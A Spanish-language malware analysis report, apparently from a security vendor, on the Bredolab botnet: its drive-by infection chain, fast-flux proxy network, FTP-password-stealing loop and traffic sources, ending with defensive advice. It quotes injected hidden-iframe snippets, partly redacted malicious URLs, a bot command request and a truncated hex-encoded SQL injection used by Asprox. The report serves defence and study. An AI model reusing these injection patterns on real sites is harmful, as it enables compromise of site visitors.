La botnet Bredolab. ¿ha terminado su historia?

• Peculiaridades de la creación de la botnet Bredolab
  • Sitios capturados por los hackers
  • La red Fast-flux
  • Inoculación de la infección en los ordenadores de los usuarios
• La botnet en acción
• El ciclo malicioso
• El tráfico
• Conclusión

El 25 de octubre de 2010 la división de lucha contra delitos informáticos de la policía holandesa anunció que había neutralizado 143 servidores de administración pertenecientes a la botnet Bredolab. Al día siguiente en el aeropuerto internacional de Yereván se arrestó a uno de los propietarios de la red zombi clausurada. Es posible que para la botnet Bredolab todo haya terminado, pero las tecnologías que se usaron para crearla, por desgracia, pueden servir para construir otras botnets.

Peculiaridades de la creación de la botnet Bredolab

Se tiene noticias de los programas maliciosos de la familia Backdoor.Win32.Bredolab desde mediados de 2008. La principal tarea de Bredolab es descargar otros programas maliciosos en el ordenador infectado. El sistema de administración de descargas, que incluye un downloader (Backdoor.Win32.Bredolab) y un panel de administración estaba a la venta en los foros de hackers. Es justo este software el que constituyó el fundamento de la botnet Bredolab, que apareció a mediados de 2009 y que, según la policía holandesa, constaba de cerca de 30 millones de ordenadores de usuarios de diferentes países del mundo.

La principal peculiaridad de la botnet era su método de formación. Para propagar el componente bot nocivo, se usaban sitios legítimos hackeados y se enviaba a sus usuarios a recursos maliciosos desde los cuales se infectaba los ordenadores de los usuarios con Backdoor.Win32.Bredolab. Y todo esto ocurría de forma automática.

Sitios capturados por los hackers

En los albores de la botnet, se ponía en los sitios capturados una etiqueta Iframe con un enlace a un recurso malicioso. A finales de 2009 se reemplazó este Iframe por un código JavaScript enmarañado y ofuscado del descargador Trojan-Downloader.JS.Pegel, que al ejecutarse hacía que el navegador descifrara e incluyera en la página html un script con un enlace a un recurso malicioso. La tarea de Pegel era descargar en el ordenador de la víctima exploits que a su vez descargaban Bredolab. Desde mediados del verano de 2010 los delincuentes volvieron a utilizar Iframe.

Cabe destacar que el esquema de propagación de Bredolab era parecido al que usaron los creadores de la botnet Gumblar, mientras que el método de enmarañamiento de Pegel era similar al del script del descargador Gumblar.

La amenaza era de carácter global. Se detectaron recursos web que contenían código malicioso en diferentes países.

 
Distribución de los recursos web infectados por Trojan-Downloader.JS.Pegel
según países:
enero – octubre de 2010

Los usuarios de muchos países estuvieron bajo el riesgo de que sus ordenadores se infectaran con Bredolab.

 
Distribución de las detecciones de Backdoor.Win32.Bredolab
en los ordenadores de los usuarios, según países: enero – octubre de 2010

Los foros de Internet empezaron a abigarrarse de notificaciones de páginas legítimas infectadas por el código enmarañado en JavaScript, que remitía a los usuarios a recursos web que estaban bajo el control de los delincuentes.

 
Ejemplo de notificación en un foro

A principios de 2010 había en los foros muchos mensajes parecidos al del ejemplo de arriba. Entonces una de las particularidades de Pegel eran los comentarios /*GNU GPL*/, /*LGPL*/, /*CODE1*/ o /*Exception*/, puestos al principio del código JavaScript. El código de la página infectada tenía más o menos esta apariencia:

 
Ejemplo de página legítima infectada

Más tarde, desaparecieron los comentarios del código del script y el enmarañamiento se hizo cada vez más complejo.

 
Ejemplo de página infectada con un enmarañamiento más complejo del código JavaScript malicioso

Merece especial atención la apariencia de los enlaces a recursos maliciosos usados durante los primeros meses desde el momento de la aparición de Pegel. El dominio y la ruta del script malicioso en estos enlaces están conformados por nombres de dominio conocidos, que van el uno tras del otro, por ejemplo:

hxxp://twitpic-com.fastclick.com.shinobi-jp.bestb***site.ru:8080/google.com/google.com/novoteka.ru/vagos.es/radikal.ru/
hxxp://google-com-sa.scribd.com.google-hr. bestb***site.ru:8080/bu520.com/bu520.com/google.com/56.com/ups.com/
hxxp://staples-com.toysrus.com.ngoisao-net. cars***net.ru:8080/google.com/google.com/livedoor.biz/atwiki.jp/torrents.ru/

Los dominios de segundo nivel constaban de dos o tres palabras en inglés yuxtapuestas pero que no tenían relación la una con la otra. Crear enlaces maliciosos parecidos a las direcciones de sitios web populares es uno de los métodos preferidos de ingeniería social usados por los delincuentes para despertar el mínimo de dudas entre los usuarios.

Más tarde, en parte de los enlaces se empezó a usar dominios de segundo nivel:

hxxp:// help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php
hxxp:// jui***ile.ru:8080/sify-com/google.com/last.fm.php
hxxp:// pass***tblues.ru:8080/google.com/kijiji.ca/pornhub.com.php
hxxp:// best***kstar.info:8080/google.com/travian.com/youjizz.com.php

Más adelante, desaparecieron las rutas largas de los enlaces, que fueron suplantadas por index.php.

La red Fast-flux

Los dominios contenidos en los enlaces maliciosos se daban de alta en diferentes zonas: ru, info, at, com. Cada dominio se instalaba en cinco direcciones IP, cada una de las cuales, a su vez, estaba conectada con varios dominios maliciosos.

Correlación entre las direcciones IP y los dominios maliciosos

La cantidad de direcciones IP oscilaba de 20 a 40. A medida que iba pasando el tiempo, según desaparecían algunas direcciones, otras se iban agregando. Cada cierto tiempo se cambiaban las direcciones IP relacionadas con determinados dominios.

Registros A en diferentes momentos

Resultó que todas las direcciones IP usadas pertenecían a servidores dedicados (o servidores virtuales dedicados) de diferentes proveedores de alojamiento. Además, el ulterior análisis mostró que en el puerto 80 de muchos de estos servidores había sitios web legítimos, que de ningún modo estaban relacionados con los delincuentes. Semejante cuadro nos hace pensar que es posible que los servidores donde se alojaban dominios maliciosos estaban, de algún modo, capturados por los hackers. Una parte de los dominios registrados por los delincuentes se usaba para los servicios DNS ubicados en los mismos servidores capturados, y como si esto fuera poco, los registros NS y A también cambiaban periódicamente.

Registros NS en diferentes periodos

La situación descrita recuerda mucho al funcionamiento de las redes fast-flux, para ser más exactos, a la red fast-flux de dos flujos en la que también se modifican las direcciones de los servidores DNS.

Hay otro momento curioso: en la absoluta mayoría de los casos todos los enlaces maliciosos apuntaban al puerto 8080, y en los encabezados http de la respuesta del servidor se ponía nginx en el campo Server. Nginx es un servidor HTTP muy popular, que con frecuencia se usa como proxy reverso. Los usuarios que siguen el enlace malicioso llegaban a servidores proxy que reenviaban la solicitud al centro de administración real de la botnet.

Una red Fast-flux compuesta de servidores proxy ayuda a ocultar el centro de administración de la botnet para hacerla invisible ante los ojos de los especialistas en seguridad informática. Todas las solicitudes de descarga de código malicioso procedentes del código malicioso en JavaScript y de los exploits, como también las solicitudes de Bredolab y el centro de administración, pasaban a través de los servidores proxy de esta red fast-flux.

Eran los delincuentes los que registraban la mayoría de los dominios fast-flux. Pero a principios del verano de 2010 empezaron a aparecer dominios que eran subdominios de tercer nivel.

kollinsoy.skyef***on.com
aospfpgy.dogpl***tation.com
oployau.fancou***logger.com
hosotpoyu.credi***brary.com

Mientras que los dominios de tercer nivel apuntaban a los servidores proxy de la red fast-flux Bredolab, en los dominios de segundo nivel de estos enlaces había sitios web legítimos. Las direcciones IP de los dominios de tercer y segundo nivel eran diferentes. De alguna manera (mediante el hackeo de las cuentas de los usuarios o de alguna otra forma) los delincuentes obtenían la posibilidad de administrar la configuración DNS de estos sitios.

Inoculación de la infección en los ordenadores de los usuarios

Después de que el navegador de Internet, con la ayuda de Pegel o de Iframe remitía al usuario al sitio malicioso, desde éste se descargaba un código en JavaScript:

 

que al desmarañarlo se visualiza como:

 

Después de ejecutarse el código JavaScript incrustaba el siguiente código HTML en la página:

<div id=”DIV”>
<iframe src=”http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1″ width=”1″ frameborder=”0″ height=”1″></iframe>
</div>

Y desde el enlace se descargaba otro código JavaScript.

 

Este es un fragmento después de desenmarañarlo:

 

Este código remitía el navegador hacia los exploits.

Los exploits usaban estas vulnerabilidades: en Adobe Acrobat — de las funciones util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), media.newPlayer (CVE-2009-4324); en la máquina virtual de Java (CVE-2010-0886) y en el componente ActiveX MDAC RDS.Dataspace ActiveX (CVE-2006-0003).

 
Fragmento del código en JavaScript desenmarañado (del exploit pdf)

El exploit Java se descargaba en dos etapas: primero se descargaba la página Applet1.html, que contenía la etiqueta <applet> con los nombres de los ficheros jar. Después se descargaban los exploits.

 
Página HTML de la página Applet1.html que descargaba el exploit java

Después de ejecutarse, los exploits descargaban y ejecutaban en el ordenador de la víctima el programa malicioso Backdoor.Win32.Bredolab, cuyo principal propósito es la descarga y ejecución de otros programas maliciosos.

 
Etapas de la infección del ordenador del usuario

La botnet en acción

Al ejecutarse en el ordenador de la víctima y para descargar otros programas nocivos, el bot envía a su centro de administración una solicitud como ésta:

http://ba***il.ru:8080/new/controller.php?action=bot&entity_list=&first=1&rnd=981633&id=1&guid=3676040431.

En el cuerpo de la respuesta que llegaba desde el centro de administración había ficheros ejecutables cifrados (por lo general 3 ó 4), que iban uno detrás del otro.

 
Respuesta (que contiene software cifrado) del centro de administración

En el encabezado de la respuesta hay un campo Entity-Info conformado por una lista de elementos separados por puntos y comas. Cada elemento describe uno de los ficheros ejecutables contenidos en el cuerpo de la respuesta. Cada elemento está separado por dos puntos en campos de números. Por ejemplo, el segundo campo de cada elemento contiene el tamaño del fichero ejecutable correspondiente. De esta manera se puede determinar dónde termina un fichero y empieza el siguiente.

En el encabezado de la respuesta hay un campo denominado Magic-Number, que contiene la llave de descifrado del cuerpo de la respuesta. Está compuesto de números separados por el carácter ‘|’. El primer número indica el largo de la llave; el segundo indica el algoritmo de cifrado; la cifra 1 es un XOR común y corriente. El resto del campo es la llave de descifrado. Aquí debemos recalcar que tanto el código malicioso en JavaScript, como los exploits, Bredolab y los demás programas maliciosos que Bredolab instala en el ordenador de la víctima se han descargado desde los mismos dominios de la red fast-flux del botnet Bredolab.

Bredolab descargaba en el ordenador de la víctima una larga serie de software malicioso:

Trojan-Spy.Win32.Zbot,
Trojan-Spy.Win32.SpyEyes,
Trojan-Spy.Win32.BZub,
Backdoor.Win32.HareBot,
Backdoor.Win32.Blakken,
Backdoor.Win32.Shiz,
Trojan-Dropper.Win32.TDSS,
Trojan-Ransom.Win32.PinkBlocker,
Trojan.Win32.Jorik.Oficla.

Y esta lista no está completa, ni mucho menos.

Algunos de estos programas maliciosos envían en las solicitudes a los centros de administración, los parámetros que identifican el número del asociado. Por ejemplo, el Backdoor.Win32.Shiz descargado por Bredolab envía el parámetro seller=15 que significa que la instalación en el sistema la hizo Bredolab. El envío de esos números de identificación suele significar que el programa malicioso se propaga mediante los programas de afiliados. Este hecho, junto con la variedad del software descargado por Bredolab, es un indicio de que los dueños de la botnet Bredolab han encontrado la manera de monetizar los esfuerzos hechos en la creación de la botnet, es decir, que recibían ganancias por las descargas de software malicioso encargadas por otros delincuentes

De entre el conjunto de software descargado merece especial atención Trojan-PSW.Win32.Agent.qgg. Al ser instalado en el ordenador del usuario, este troyano trata de encontrar las contraseñas de las cuentas ftp guardadas por los siguientes clientes:

Tras encontrar las contraseñas, el troyano las envía al servidor de los delincuentes.

Trojan-PSW.Win32.Agent.qgg también representa interés porque el servidor al que este troyano enviaba las contraseñas robadas pertenecía a los mismos dueños de la botnet Bredolab. Y era precisamente con la ayuda de las contraseñas de los servidores ftp que ocurría la inoculación de códigos maliciosos en los sitios legítimos. Este sistema cerrado resultó ser bastante efectivo.

El ciclo malicioso

Después de hacer un estudio minucioso, queda más o menos claro cómo se creó la botnet.

1. Al visitar un sitio infectado por Pegel/Iframe, el navegador del usuario descarga desde el recurso malicioso una página que contiene un código malicioso escrito en JavaScript.
2. Este código infecta el ordenador del usuario con el programa Bredolab, que a su vez descarga otro software malicioso, incluyendo un troyano que roba las contraseñas de las cuentas ftp. Todo esto se hace a través de uno de los servidores proxy reversos que esconden el verdadero centro de administración de la botnet.
3. Después de cierto tiempo se infecta el sitio web correspondiente a la cuenta ftp. Usando el login y la contraseña robadas de la cuenta ftp, desde el servidor se descarga el contenido del sitio web, pero no todo, sino sólo los ficheros que empiezan en index*, default*, main* y todos los ficheros con extensión *.js. Después se vuelven a poner los mismos ficheros en el sitio web, pero ya con el código malicioso incrustado. Vale la pena destacar que tanto la descarga, como las consecuentes cargas se hacen desde un conjunto de direcciones IP. Cada fichero puede descargarse desde una dirección IP, y cargarse desde otra.
   bCuando otro usuario entra en el sitio infectado, el ciclo descrito se vuelve a repetir.

Es evidente que los equipos responsables de la infección del sitio web son los servidores proxy. Los delincuentes usaron dos grupos de servidores proxy: uno para infectar el equipo del usuario y otro para infectar el sitio web. No se detectó que un solo grupo de servidores proxy se usara para ambas tareas.

 
Fragmento del log del ftp que ilustra el proceso de infección del sitio web

 
Esquema de creación de la botnet Bredolab

Los delincuentes usaron este esquema de propagación durante todo el periodo de existencia de la botnet Bredolab.

El tráfico

El sistema de automantenimiento de la botnet descrito más arriba es, sin lugar a dudas, efectivo, gracias a la automatización del proceso de infección de nuevos equipos. Pero tiene un defecto. El esquema empieza a funcionar en el momento en que se remite a los usuarios del sitio legítimo al dominio malicioso de la red fast-flux. Al mismo tiempo, la cantidad de ordenadores de usuarios infectados por Bredolab y que tienen acceso de administración a sitios web es limitada. Por lo tanto, es limitada la cantidad de recursos web que los delincuentes pudieron infectar usando las contraseñas de ftp robadas a estos usuarios. Los sitios visitados por grandes auditorios no tardaron mucho en eliminar el software malicioso, porque mientras más son los visitantes, mayor es la posibilidad de que alguno de ellos se dé cuenta de que algo raro está ocurriendo y se lo notifique a la administración del sitio.

La cantidad de ordenadores infectados por el funcionamiento de este esquema no les pareció suficiente a los delincuentes.Para aumentar la efectividad del ataque, era necesario incrementar el tráfico, es decir, la cantidad de usuarios remitidos a los dominios maliciosos de la red fast-flux. Los delincuentes trataron de hacerlo de diferentes maneras.

Los sitios legítimos infectados con el código en JavaScript se usaban para remitir a los usuarios a sitios maliciosos desde diciembre de 2009. El código malicioso podía acechar a los usuarios incluso en sitios muy populares. El código de la página abierta en el navegador del usuario podía tener, por ejemplo, este aspecto:

 
Ejemplo de página web infectada

Después de ejecutarse el código cifrado en el navegador, se incrustaba en la página una etiqueta <script> que contenía Trojan-Downloader.JS.Pegel, que a su vez remitía al usuario al recurso malicioso.

Los usuarios recibían el enlace al contenido malicioso “a domicilio”, en el spam. En junio de 2010 la modificación Trojan-Downloader.JS.Pegel.g ocupó el primer puesto en la lista de los adjuntos de correo más difundidos.

 
Los ficheros maliciosos más difundidos en el correo electrónico, junio de 2010

Algunos ataques de spam eran bastante refinados. En junio hubo una ola de spam que imitaba las notificaciones de sitios tan populares como Twitter, Youtube, Amazon, Facebook, Skype y otros. Los mensajes contenían el código malicioso Pegel en un adjunto HTML o un enlace a sitios infectados.

 
Ejemplo de mensaje spam con enlace a un sitio malicioso

Si el usuario seguía el enlace, se cargaba en su navegador una página HTML que contenía el siguiente código:

PLEASE WAITING 4 SECOND…
<meta http-equiv=”refresh” content=”4;url=http://spr***team.com”>
</head><body>
<iframe src=”http://yu***eyes.ru:8080/index.php?pid=10″ style=”visibility: hidden;” height=”1″ width=”1″></iframe>
</body></html>

La etiqueta meta-refresh, después de algunos segundos, remitía al usuario a una página de Canadian Pharmacy, compañía que vende Viagra y otros medicamentos.

 
Sitio web de Canadian Pharmacy

Al mismo tiempo, el enlace contenido en la etiqueta Iframe remitía al usuario a uno de los servidores proxy de la red fast-flux, donde se infectaba al usuario con Bredolab.

En agosto se detectó una fuente más de spam. El spam-bot Asprox, que tienen la funcionalidad de realizar inyecciones SQL a los sitios escritos en ASP, empezó a infectar sitios legítimos, incrustándoles un Iframe con el enlace a nem****n.ru/tds/go.php?sid=1.

GET /page.asp?id=425; declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320…5205461424c655f435552736f7220%20as%20varchar(4000));exec(@s);–

Ejemplo de inyección SQL usada por el bot Asprox

Después de que el usuario entraba al sitio infectado, su navegador abría el enlace contenido en la etiqueta Iframe. El enlace llevaba a un TDS (traffic distribution system, sistema de distribución de tráfico), que remitía al navegador a los dominios maliciosos que eran parte de la red fast-flux perteneciente a los dueños de Bredolab, con el objetivo de infectar el ordenador del usuario con Bredolab. De esta manera cada 24 horas se remitían cerca de 10.000 usuarios.

Y por fin, en septiembre se supo que existía un método más usado para remitir a los usuarios a los dominios de la red fast-flux de la botnet Bredolab. Los delincuentes irrumpían en los sitios que usaban el sistema de banner OpeX para mostrar publicidad. Se explotaban las vulnerabilidades del componente Open Flash Char 2, que permitía a los delincuentes cargar cualquier fichero al servidor. Como resultado, se suplantaron banners en los sitios populares, entre ellos thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com y tutu.ru. Los banners que se pusieron eran ficheros flash que contenían un código ActionScript que remitía a los usuarios hacia recursos maliciosos. Al mismo tiempo, se lanzó un ataque DDoS contra el sitio oficial del proyecto OpenX, que durante varios días impidió a los usuarios actualizar sus sistemas y, por lo tanto, cerrar la vulnerabilidad.

 
Fragmento del fichero swf malicioso

 
Fragmento del código ActionScript que inyectaba en la página http un script con un enlace a un sitio malicioso

Después del gran embate que tuvo lugar en junio, relacionado con la propagación de spam con enlaces a los recursos maliciosos de la botnet, la virulencia de Pegel sufrió una caída. Pero sin embargo, la amenaza habría podido seguirse manifestando si no se hubiera acabado del todo con la botnet Bredolab.

Conclusión

Los dueños de la botnet Bredolab crearon una red de 30 millones de ordenadores zombi, que funcionó durante un tiempo bastante largo. Par mantener la botnet en funcionamiento, los delincuentes ocultaban con suficiente arte y efectividad su centro de administración, usando la técnica de las redes fast-flux. Este esquema no solo garantiza un buen funcionamiento a prueba de fallos del centro de administración, sino que también simplifica la gestión de los contenidos maliciosos: en lugar de administrar sitios maliciosos en varios nodos, a los delincuentes informáticos les basta organizar un sitio como centro de administración y hacer redirecciones hacia el mismo.

Lo más probable es que la botnet Bredolab, en vista de su complejidad, estuviese a cargo de varias personas. Pero por el momento tenemos noticias del arresto de un solo delincuente vinculado a esta botnet. Existe la posibilidad de que los demás integrantes de la banda, al pasar el tiempo, continúen sus fechorías, ya que el esquema que inventaron e implementaron es bastante efectivo. Las tecnologías usadas para crear y mantener el funcionamiento de la botnet: enmarañamiento del código JavaScript que descargaba los exploits; el círculo vicioso de la botnet, la creación de la infraestructura de la red fast-flux, etc, ‑ pueden ser copiados por otros delincuentes.

Una de las principales características de la botnet Bredolab era el ciclo compacto y cerrado con que se construía la botnet, cuando los equipos de los usuarios infectan los sitios web, donde a su vez se infectan nuevos usuarios. A esto se suma la búsqueda constante de nuevas formas de enviar a los usuarios a los dominios maliciosos. La principal fuente de peligro de este esquema son los sitios web infectados, cuyos visitantes se infectan con software malicioso. La información robada en los ordenadores de los usuarios, por su parte, se puede usar para infectar sitios web.

Para protegerse de este tipo de amenazas, es necesario atenerse a las siguientes recomendaciones para la defensa de los equipos de los usuarios y sitios web:

Protección de los equipos de los usuarios

• Es imprescindible instalar las actualizaciones del sistema operativo y de los programas, ya que la mayoría de los exploits y gusanos usan vulnerabilidades del software que ya han sido cerradas por las versiones actualizadas de los productos correspondientes.
• Desde luego, hay que instalar un antivirus y mantener las bases de datos antivirus actualizadas. Un antivirus no es una panacea, pero permite reducir considerablemente el riesgo de que el ordenador se infecte.
• Y por supuesto, no hay que seguir los enlaces de los mensajes spam ni de los de desconocidos en las redes sociales y los programas de mensajería instantánea. Esto es algo que no necesita comentarios.

Defensa de los sitios web

• Los delincuentes pueden utilizar las vulnerabilidades en el código del sitio para infectarlo. Para reducir al mínimo la posibilidad de que los delincuentes usen las vulnerabilidades, es necesario estar al tanto de las actualizaciones del software y actualizarlo en cuanto salgan nuevas.
• Hay que tener presente que existen servicios y sistemas de análisis de sitios para encontrar códigos maliciosos, como también para detectar modificaciones no sancionadas de su contenido.
• Por motivos de seguridad, es mejor desactivar el almacenamiento de contraseñas en los clientes ftp (recordamos que muchos programas que roban las contraseñas de ftp, en particular el Trojan-PSW.Win32.Agent.qgg que usa Bredolab, buscan en el ordenador infectado las contraseñas almacenadas).
• Puede ser útil hacer copias del sitio a intervalos periódicos (bases de datos y ficheros donde se puedan guardar datos importantes) en caso de que la infección los destruya.
• Si el sitio, a pesar de todo, resulta infectado, puede ser insuficiente eliminar el código malicioso. Por ejemplo, si se robaron las contraseñas de ftp, después de algún tiempo el sitio puede infectarse de nuevo. Para resolver el problema hay que seguir los siguientes pasos:
  1. Revisar que hay actualizaciones para el software instalado en el sitio e instalarlas (para excluir la infección mediante vulnerabilidades).
  2. Usar un antivirus con la última actualización para hacer un escaneado completo de los ordenadores de los usuarios que tienen acceso al ftp del sitio.
  3. Cambiar la contraseña de la cuenta ftp.
  4. Eliminar todo el código malicioso que haya en el sitio.

Siguiendo estas recomendaciones, se puede reducir considerablemente el riesgo de que sus ordenadores se hagan parte de alguna botnet. No olvide que es más fácil evitar la infección que curarla.